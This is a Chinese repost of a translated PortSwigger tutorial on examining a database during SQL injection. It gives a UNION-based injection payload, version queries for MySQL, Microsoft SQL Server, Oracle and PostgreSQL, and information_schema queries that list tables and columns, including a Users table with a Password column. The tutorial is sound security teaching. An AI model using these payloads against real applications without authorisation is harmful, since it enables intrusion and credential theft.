ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

检查SQL注入攻击中的数据库

2021-09-26 14:59:40  阅读:175  来源: 互联网

标签:dbo MyDatabase 数据库 查询 SQL TABLE 注入


本文翻译自:https://portswigger.net/web-security/sql-injection/examining-the-database

在利用 SQL 注入漏洞时,通常需要收集有关数据库本身的一些信息。这包括数据库软件的类型和版本,以及数据库的内容,它包含的表和列。

查询数据库类型和版本

不同的数据库提供不同的查询版本的方式。您通常需要尝试不同的查询才能找到有效的查询,从而能够同时确定数据库软件的类型和版本。

确定某些热门数据库类型的数据库版本的查询如下:

DBS查询语句
Microsoft, MySQLSELECT @@version
OracleSELECT * FROM v$version
PostgreSQLSELECT version()

举个栗子,可以使用联合查询:

' UNION SELECT @@version--

这可能会返回以下输出,确认数据库是微软 SQL 服务器,以及正在使用的版本:

Microsoft SQL Server 2016 (SP2) (KB4052908) - 13.0.5026.0 (X64)
Mar 18 2018 09:11:49
Copyright (c) Microsoft Corporation
Standard Edition (64-bit) on Windows Server 2016 Standard 10.0 <X64> (Build 14393: ) (Hypervisor)

实验SQL注入攻击,查询Oracle上的数据库类型和版本

实验SQL注入攻击,查询MySQL和微软上的数据库类型和版本

列出数据库中的内容

大多数数据库类型(除了Oracle之外)都有一组称为 information schema 的视图,这些视图提供关于数据库的信息。

您可以通过查询以列出数据库中的表:information_schema.tables

SELECT * FROM information_schema.tables

返回信息如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE
=====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE

该输出表明有三个表,分别为 ProductsUsersFeedback

然后,您可以查询 information_schema.columns 以列出各个表中的列:

SELECT * FROM information_schema.columns WHERE table_name = 'Users'

返回信息如下:

TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE
=================================================================
MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar

此输出显示指定表中的列以及每列的数据类型。

实验SQL注入攻击,列出非Oracle数据库中的数据库内容

Oracle上的 “information schema”

在Oracle上,您可以通过稍微不同的查询获得相同的信息。

您可以通过查询 all_tables 来列出表名:

SELECT * FROM all_tables

您可以通过查询 all_tab_columns 来列出列名:

SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

实验SQL注入攻击,列出Oracle上的数据库内容

标签:dbo,MyDatabase,数据库,查询,SQL,TABLE,注入
来源: https://blog.csdn.net/hamletal/article/details/120488831

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有